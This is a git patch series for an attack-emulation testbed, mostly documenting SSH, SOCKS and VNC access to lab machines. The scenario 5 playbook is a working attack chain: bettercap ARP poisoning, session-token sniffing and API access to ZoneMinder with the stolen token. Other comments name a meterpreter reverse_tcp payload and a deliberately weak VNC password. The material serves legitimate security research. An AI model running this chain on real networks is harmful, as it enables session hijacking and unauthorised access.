From a0914ed34c7e9db071e6eeffe31e65dd56518926 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 18 Mar 2026 15:18:00 +0100 Subject: [PATCH 01/12] docs on ssh connection --- docs/source/development/connection.rst | 175 +++++++++++++++++++++++++ docs/source/index.rst | 1 + 2 files changed, 176 insertions(+) create mode 100644 docs/source/development/connection.rst diff --git a/docs/source/development/connection.rst b/docs/source/development/connection.rst new file mode 100644 index 00000000..bb82aca1 --- /dev/null +++ b/docs/source/development/connection.rst @@ -0,0 +1,175 @@ +========================= +Connecting to Virtual Machines +========================= + +All virtual machines in the testbed are deployed on OpenStack/OVH and are not directly reachable +from the internet. Access is facilitated through a dedicated **management host** (``mgmt``), which +has *network interfaces in all testbed networks* and is the only machine with a public IP address. +(This is the floating IP you have allocated to the OpenStack/OVH project previously and named ``mgmt``, +which can then be used by terraform on deployment.) +The management host serves as a jump host for all other machines. + +All machines are configured with the **testbed key** during deployment, and the Linux user is +always ``aecid``. + +Direct Access to the Management Host +===================================== + +:: + + ssh -i aecid@ + +Accessing Other Machines via Jump Host +======================================= + +To reach any other machine directly from your local system, use the ``-J`` (ProxyJump) flag: + +:: + + ssh -i -J aecid@ aecid@ + +For example, to connect to the ``attacker`` machine: + +:: + + ssh -i -J aecid@ aecid@192.42.1.174 + + +SSH Config for Convenient Access +================================== + +To avoid typing jump host arguments every time, add the following block to your ``~/.ssh/config``. +Replace ```` and ```` with the actual values for your project (see +replacement commands below). + +:: + + Host mgmt + HostName + User aecid + IdentityFile + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host attacker + HostName 192.42.1.174 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host lanturtle + HostName 192.168.100.27 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host reposerver + HostName 172.17.100.122 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + +# used in videoserver scenario + Host adminpc1 + HostName 10.12.0.222 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + +# used in lateral movement scenario + Host adminpc2 + HostName 10.12.0.223 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host inetfw + HostName 172.17.100.254 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host inetdns + HostName 192.42.2.2 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host client + HostName 192.168.50.100 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host linuxshare + HostName 192.168.100.23 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host videoserver + HostName 172.17.100.121 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host corpdns + HostName 192.42.0.233 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host wazuh + HostName 192.168.100.130 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + +Replacing Placeholders with Actual Values +------------------------------------------ + +After copying the config, run the following two commands to substitute the placeholders with the +real management host IP and path to your testbed key: + +:: + + sed -i 's//YOUR.MGMT.IP.HERE/g' ~/.ssh/config + sed -i 's||/path/to/your/testbed-key|g' ~/.ssh/config + +Replace ``YOUR.MGMT.IP.HERE`` with the actual public IP assigned to ``mgmt`` in your project, and +``/path/to/your/testbed-key`` with the actual path to your private key file (e.g. ``~/.ssh/testbed``). + +Usage +------ + +Once the config is in place, you can connect to any machine by name: + +:: + + ssh mgmt + ssh attacker + ssh wazuh \ No newline at end of file diff --git a/docs/source/index.rst b/docs/source/index.rst index c15ef9a0..ce31f702 100644 --- a/docs/source/index.rst +++ b/docs/source/index.rst @@ -53,3 +53,4 @@ AttackBed Documentation development/attacker development/firewall development/dns + development/connection From a96862074fd61815baf7008f5206a09938b18e30 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 18 Mar 2026 15:26:27 +0100 Subject: [PATCH 02/12] docs on socks proxy --- docs/source/development/connection.rst | 69 ++++++++++++++++++++++++-- 1 file changed, 64 insertions(+), 5 deletions(-) diff --git a/docs/source/development/connection.rst b/docs/source/development/connection.rst index bb82aca1..1f6934b7 100644 --- a/docs/source/development/connection.rst +++ b/docs/source/development/connection.rst @@ -2,9 +2,9 @@ Connecting to Virtual Machines ========================= -All virtual machines in the testbed are deployed on OpenStack/OVH and are not directly reachable +All virtual machines in the attackbed are deployed on OpenStack/OVH and are not directly reachable from the internet. Access is facilitated through a dedicated **management host** (``mgmt``), which -has *network interfaces in all testbed networks* and is the only machine with a public IP address. +has *network interfaces in all attackbed networks* and is the only machine with a public IP address. (This is the floating IP you have allocated to the OpenStack/OVH project previously and named ``mgmt``, which can then be used by terraform on deployment.) The management host serves as a jump host for all other machines. @@ -75,7 +75,7 @@ replacement commands below). StrictHostKeyChecking no UserKnownHostsFile /dev/null -# used in videoserver scenario + # used in videoserver scenario Host adminpc1 HostName 10.12.0.222 User aecid @@ -84,7 +84,7 @@ replacement commands below). StrictHostKeyChecking no UserKnownHostsFile /dev/null -# used in lateral movement scenario + # used in lateral movement scenario Host adminpc2 HostName 10.12.0.223 User aecid @@ -172,4 +172,63 @@ Once the config is in place, you can connect to any machine by name: ssh mgmt ssh attacker - ssh wazuh \ No newline at end of file + ssh wazuh + + +Accessing Web Interfaces via SOCKS Proxy +========================================= + +Some machines in the attackbed expose web interfaces that are only reachable within the attackbed +networks. To access these from a local browser without exposing them to the internet, SSH can +be used to create a **SOCKS proxy** tunnel. A SOCKS proxy instructs your browser to route all +its traffic through the SSH connection, making your browser effectively appear to be running +inside the attackbed network. + +The following example shows how to access the **ZoneMinder** video surveillance interface on +``videoserver`` (``172.17.100.121``). + +Setting up the Tunnel +---------------------- + +Assuming the SSH config from the previous section is in place, run: + +:: + + ssh -N -D 127.0.0.1:1080 videoserver + +The ``-D`` flag opens a local SOCKS proxy on port ``1080``, and ``-N`` tells SSH not to execute +a remote command; the connection exists solely to forward traffic. The jump through ``mgmt`` +happens automatically as configured in ~/.ssh/config. + +Configuring Firefox +-------------------- + +Open Firefox's proxy settings via **Settings → General → Network Settings → Settings...** and +configure it as shown below: + +- Select **Manual proxy configuration** +- Leave HTTP Proxy and HTTPS Proxy empty +- Set **SOCKS Host** to ``127.0.0.1`` and **Port** to ``1080`` +- Select **SOCKS v5** +- Check **Proxy DNS when using SOCKS v5** + +.. figure:: /docs/images/proxy.png + :alt: Firefox SOCKS proxy configuration + + Firefox connection settings configured to use the SSH SOCKS proxy on localhost port 1080. + +Accessing ZoneMinder +--------------------- + +With the tunnel running and the proxy configured, open the following URL in Firefox: + +:: + + http://172.17.100.121/zm/ + +You will be presented with the ZoneMinder login interface: + +.. figure:: /docs/images/zoneminder.png + :alt: ZoneMinder login interface + + The ZoneMinder web interface on the videoserver, accessed through the SOCKS proxy tunnel. \ No newline at end of file From 2bacad6c8e268abf3ad0332462a377ee31afdb4c Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 18 Mar 2026 15:29:18 +0100 Subject: [PATCH 03/12] correct filepaths --- docs/source/development/connection.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/source/development/connection.rst b/docs/source/development/connection.rst index 1f6934b7..7d38a050 100644 --- a/docs/source/development/connection.rst +++ b/docs/source/development/connection.rst @@ -212,7 +212,7 @@ configure it as shown below: - Select **SOCKS v5** - Check **Proxy DNS when using SOCKS v5** -.. figure:: /docs/images/proxy.png +.. figure:: ../../images/proxy.png :alt: Firefox SOCKS proxy configuration Firefox connection settings configured to use the SSH SOCKS proxy on localhost port 1080. @@ -228,7 +228,7 @@ With the tunnel running and the proxy configured, open the following URL in Fire You will be presented with the ZoneMinder login interface: -.. figure:: /docs/images/zoneminder.png +.. figure:: ../../images/zoneminder.png :alt: ZoneMinder login interface The ZoneMinder web interface on the videoserver, accessed through the SOCKS proxy tunnel. \ No newline at end of file From 0242632042d0a787fa16a33c38f34943ac8c3f0f Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Thu, 19 Mar 2026 11:06:16 +0100 Subject: [PATCH 04/12] add docs on vnc connection --- docs/source/development/connection.rst | 46 +++++++++++++++++++++++++- 1 file changed, 45 insertions(+), 1 deletion(-) diff --git a/docs/source/development/connection.rst b/docs/source/development/connection.rst index 7d38a050..58d39e07 100644 --- a/docs/source/development/connection.rst +++ b/docs/source/development/connection.rst @@ -231,4 +231,48 @@ You will be presented with the ZoneMinder login interface: .. figure:: ../../images/zoneminder.png :alt: ZoneMinder login interface - The ZoneMinder web interface on the videoserver, accessed through the SOCKS proxy tunnel. \ No newline at end of file + The ZoneMinder web interface on the videoserver, accessed through the SOCKS proxy tunnel. + + +Accessing Desktop Environments via VNC +======================================= + +Some machines in the attackbed have a MATE desktop environment and noVNC installed, providing a +full graphical interface. This is particularly relevant in client-side attack scenarios, where +the attacker connects to the ``client`` machine using screen sharing software, allowing you to +watch or debug the attack in real time directly from your local machine. + +The noVNC role used during deployment can be found at +``_. By default, VNC is exposed on port +``5900``. + +Tunneling the VNC Connection +----------------------------- + +Since the machines are not directly reachable from the internet, the VNC port must be forwarded +through the management host using SSH port forwarding. The following example tunnels the VNC +port of the ``attacker`` machine to your local machine: + +:: + + ssh -L 5900:192.42.1.174:5900 -J aecid@ aecid@192.42.1.174 + +The ``-L`` flag maps port ``5900`` on your local machine to port ``5900`` on the remote target, +routed through the ``mgmt`` jump host. Keep this SSH session open while using the VNC viewer. + +Connecting with a VNC Viewer +----------------------------- + +With the tunnel running, open your VNC viewer and connect to: + +:: + + vncviewer localhost:5900 + +You will see the live desktop of the target machine and can observe or debug the ongoing attack +in real time. + +.. note:: + + If the deployment uses a non-default VNC port, adjust the port number in both the + ``-L`` tunnel command and the ``vncviewer`` connection string accordingly. \ No newline at end of file From 2807cddbb5c94283dfb68c01e04a3cc2e13893b9 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Thu, 19 Mar 2026 11:12:35 +0100 Subject: [PATCH 05/12] add note on tightvnc role --- docs/source/development/connection.rst | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/docs/source/development/connection.rst b/docs/source/development/connection.rst index 58d39e07..320992dc 100644 --- a/docs/source/development/connection.rst +++ b/docs/source/development/connection.rst @@ -274,5 +274,16 @@ in real time. .. note:: - If the deployment uses a non-default VNC port, adjust the port number in both the - ``-L`` tunnel command and the ``vncviewer`` connection string accordingly. \ No newline at end of file + Some machines use a different VNC setup based on the TightVNC role at + ``_ — for example the ``reposerver``. + This role allows configuring a specific user, password, port, and display number during + deployment. In scenario 3, the VNC password is deliberately set to a weak value that gets + bruteforced as part of the attack. When connecting to such a machine, ``vncviewer`` will + prompt for the configured credentials: + + :: + + vncviewer localhost: + + Enter the VNC username and password as configured in the deployment when prompted. Adjust + the port in the ``-L`` tunnel command accordingly if a non-default port was chosen. \ No newline at end of file From 911ccf5610435597abfc839719e7f846699f972d Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Thu, 19 Mar 2026 11:22:09 +0100 Subject: [PATCH 06/12] add explanation to vnc tunnel scenario 6 --- ansible/run/scenario6/templates/scenario_6_c.j2 | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/ansible/run/scenario6/templates/scenario_6_c.j2 b/ansible/run/scenario6/templates/scenario_6_c.j2 index cb0a680d..d62697f3 100644 --- a/ansible/run/scenario6/templates/scenario_6_c.j2 +++ b/ansible/run/scenario6/templates/scenario_6_c.j2 @@ -1,4 +1,18 @@ -# Client installs a malicious browser plugin that extracts keystrokes, content pasted into browser from clipboard and form submissions +# Client installs a malicious browser plugin that extracts keystrokes, +# content pasted into browser from clipboard and form submissions + +# IMPORTANT: The VNC commands in this playbook that interact with the client machine +# do NOT represent actions initiated by the attacker. Instead, they SIMULATE actions +# performed by the client user (judy). This models a social engineering attack: +# the attacker, posing as tech support (telephone phishing / vishing), manipulates +# the client into performing actions on their own machine — such as installing a +# browser extension. The attacker merely guides the victim's behavior remotely. + +# The SSH tunnel used for VNC in the session: social_engineering +# is routed via the management host (mgmt) rather than +# through the normal network path. As a result, this traffic bypasses the firewall +# and does NOT appear in firewall logs, reflecting a realistic out-of-band access +# path available to a privileged insider. vars: PAYLOAD: linux/x64/meterpreter/reverse_tcp From 9cf59d7fe9395c6d1af2370dcd5be9de3da32fb9 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Thu, 19 Mar 2026 11:23:55 +0100 Subject: [PATCH 07/12] add comment on vnc to scenario 3 --- ansible/run/scenario3/templates/scenario_3_b_a.j2 | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/ansible/run/scenario3/templates/scenario_3_b_a.j2 b/ansible/run/scenario3/templates/scenario_3_b_a.j2 index 7d20ca84..66af50a3 100644 --- a/ansible/run/scenario3/templates/scenario_3_b_a.j2 +++ b/ansible/run/scenario3/templates/scenario_3_b_a.j2 @@ -3,9 +3,15 @@ # Scenario 3 b a # #################### - -# for vnc connection to the display, tunnel with : ssh -J aecid@ -L 5901:172.17.100.122:5901 aecid@172.17.100.122 -# then vncviewer localhost:5901 +# VNC access to the reposerver desktop is provided via TightVNC +# (https://github.com/ait-testbed/atb-ansible-tightvnc), which is configured +# with a specific user, display, port, and — intentionally — a weak password +# that is bruteforced as part of this scenario. +# +# To watch the reposerver desktop from your local machine, tunnel the VNC port +# via the management host and connect with a VNC viewer: +# ssh -J aecid@ -L 5901:172.17.100.122:5901 aecid@172.17.100.122 +# vncviewer localhost:5901 vars: $SERVER_ADDRESS: fw.attackbed.com From f979731358148195572c48220aa2169448fdcaf5 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Thu, 19 Mar 2026 11:55:33 +0100 Subject: [PATCH 08/12] add comment on lanturtle IP --- ansible/run/scenario5/gather.yml | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/ansible/run/scenario5/gather.yml b/ansible/run/scenario5/gather.yml index 27a98cc5..a4d5af6e 100644 --- a/ansible/run/scenario5/gather.yml +++ b/ansible/run/scenario5/gather.yml @@ -36,7 +36,15 @@ - "/etc/sv " - src: /var/ossec/etc/ossec.conf -- hosts: lanturtle + +# NOTE: In scenario 5, the attacker does not use the usual attacker machine +# (192.42.1.174). Instead, the attack is carried out from a LAN Turtle device +# (192.168.100.27) deployed inside the LAN network. +# +# This means the ansible hosts file must be updated to point the 'attacker' host +# to 192.168.100.27 instead of the default 192.42.1.174, otherwise Ansible cannot +# reach the machine and log gathering will fail silently or error out. +- hosts: attacker roles: - kyoushi-gather vars: From 2cf6562c989eb7eb17e4a2e823fb8ad5a58f93ce Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Thu, 19 Mar 2026 11:56:13 +0100 Subject: [PATCH 09/12] comment on attack timing in scenario5 --- ansible/run/scenario5/files/login.yml | 6 +- ansible/run/scenario5/main.yml | 28 ++++++- ansible/run/scenario5/templates/scenario_5.j2 | 76 +++++++++++++++++++ 3 files changed, 104 insertions(+), 6 deletions(-) create mode 100644 ansible/run/scenario5/templates/scenario_5.j2 diff --git a/ansible/run/scenario5/files/login.yml b/ansible/run/scenario5/files/login.yml index 680e2c1e..ce7f3ce3 100644 --- a/ansible/run/scenario5/files/login.yml +++ b/ansible/run/scenario5/files/login.yml @@ -31,7 +31,7 @@ commands: - type: sleep seconds: 15 -# press login button + # press login button - type: browser cmd: click selector: "button[type='submit']" @@ -42,7 +42,7 @@ commands: - type: sleep seconds: 15 -# this is only needed when the user logs in for the very first time + # this is only needed when the user logs in for the very first time # press apply button - type: browser cmd: click @@ -53,7 +53,7 @@ commands: - type: sleep seconds: 15 -#from here on run in loop + #from here on run in loop - type: loop cmd: until(3 == 4) commands: diff --git a/ansible/run/scenario5/main.yml b/ansible/run/scenario5/main.yml index 17779187..2170fd74 100644 --- a/ansible/run/scenario5/main.yml +++ b/ansible/run/scenario5/main.yml @@ -159,7 +159,29 @@ # become_user: aecid -# to run scenario, deploy, wait 10 minutes, then run first attacker, when get_auth.py is executing then run adminpc login.yml playbook manually - - +# IMPORTANT: Manual triggering required for this scenario. +# +# Execution order: +# 1. Run the deployment playbook and wait approximately 10 minutes for all +# services to initialize. +# 2. Start the attacker playbook (scenario_5.yml) on the attacker machine. +# Bettercap will begin ARP poisoning the network and get_auth.py will +# start listening for a valid ZoneMinder session token. +# 3. Once get_auth.py is running and waiting for a session token, MANUALLY +# trigger the login.yml playbook on adminpc: +# +# attackmate-tmux /home/aecid/login.yml --json +# +# login.yml simulates an authenticated admin user browsing the ZoneMinder +# interface (http://172.17.100.121/zm). It logs in with the admin credentials +# and then loops through several ZoneMinder pages to keep the session alive. +# This active session is intercepted by the attacker via ARP poisoning and +# the session token is extracted by get_auth.py. +# 4. The attacker uses the stolen session token to call the ZoneMinder API +# directly, bypassing authentication entirely. +# +# The login.yml playbook runs headlessly on adminpc and could not be fully automated +# because the timing of the admin login must align with the attacker's sniffing +# window. Triggering it too early (before bettercap is active) means the token +# will not be captured. diff --git a/ansible/run/scenario5/templates/scenario_5.j2 b/ansible/run/scenario5/templates/scenario_5.j2 new file mode 100644 index 00000000..1fb7cebc --- /dev/null +++ b/ansible/run/scenario5/templates/scenario_5.j2 @@ -0,0 +1,76 @@ +#################### +# +# Scenario 5 - AttackMate playbook +# +#################### +# This scenario demonstrates session token hijacking against the ZoneMinder +# video surveillance system running on the videoserver (172.17.100.121). +# +# Attack chain: +# 1. Bettercap performs ARP cache poisoning to position the attacker as a +# man-in-the-middle between the adminpc and the videoserver. +# 2. get_auth.py sniffs the poisoned traffic and extracts the ZoneMinder +# session authentication token from HTTP requests made by the admin user. +# 3. The stolen token is used to call the ZoneMinder API directly, gaining +# full authenticated access without ever knowing the admin password. +# +# PREREQUISITE: The login.yml playbook must be triggered manually on adminpc +# after bettercap is running and get_auth.py is waiting. See the deployment +# playbook scenario5/main.yml comments for the correct execution order. + + +# noinspection YAMLSchemaValidation +vars: + TARGET: 172.17.100.121 + +commands: + # Start bettercap in the background using the provided caplet. + # Bettercap performs ARP cache poisoning so that traffic between adminpc + # and the videoserver is routed through the attacker machine. + - type: shell + cmd: sudo bettercap -caplet /home/aecid/bettercap.cap + background: True + kill_on_exit: False + metadata: + techniques: "T1040,T1557.002 " + tactic: "Discovery,Credential Access" + technique_name: "Network Sniffing,Adversary-in-the-Middle: ARP Cache Poisoning " + + + # Sniff the intercepted HTTP traffic and extract the ZoneMinder auth token. + # This script blocks until a valid token is found in the traffic stream. + # THIS is the moment to manually trigger login.yml on adminpc if not already done. + - type: shell + cmd: sudo /usr/local/share/attackmate/venv/bin/python3 /home/aecid/get_auth.py + metadata: + techniques: "T1040,T1528" + tactic: "Credential Access" + technique_name: "Network Sniffing for Credential/Session Token Extraction, Steal Application Access Token" + + # Store the captured auth token from the previous command's stdout into $AUTH. + - type: setvar + cmd: $RESULT_STDOUT + variable: AUTH + + - type: debug + cmd: $AUTH + + # Bettercap is no longer needed once the token is captured — terminate it. + - type: shell + cmd: sudo pkill -9 -f "bettercap -caplet bettercap.cap" + + - type: sleep + seconds: 5 + + # Use the stolen session token to call the ZoneMinder API as the authenticated + # admin user. + - type: http-client + cmd: GET + url: http://$TARGET/zm/api/monitors.json?auth=$AUTH + metadata: + techniques: "T1550.001" + tactic: "Defense Evasion, Lateral Movement" + technique_name: "Use Alternate Authentication Material: Application Access Token" + + + \ No newline at end of file From fa40d80cab3d09a78a9f6bccbfe14aeb9563ffc9 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Thu, 19 Mar 2026 12:34:55 +0100 Subject: [PATCH 10/12] update lanturtle scenario images --- docs/images/AttackBed-Lanturtle.drawio | 154 ++++++++++----------- docs/images/AttackBed-Lanturtle.drawio.png | Bin 0 -> 112439 bytes 2 files changed, 71 insertions(+), 83 deletions(-) create mode 100644 docs/images/AttackBed-Lanturtle.drawio.png diff --git a/docs/images/AttackBed-Lanturtle.drawio b/docs/images/AttackBed-Lanturtle.drawio index c590ca24..233c587f 100644 --- a/docs/images/AttackBed-Lanturtle.drawio +++ b/docs/images/AttackBed-Lanturtle.drawio @@ -1,151 +1,139 @@ - + - + - - + + - + - + - - + + - + - + - + - + - + - - + + - + - + - + - - + + - + - + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - - - - - - - - - - - - - + + diff --git a/docs/images/AttackBed-Lanturtle.drawio.png b/docs/images/AttackBed-Lanturtle.drawio.png new file mode 100644 index 0000000000000000000000000000000000000000..2269ee46d68d7accc950d5e156b2a4bebd55e035 GIT binary patch literal 112439 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 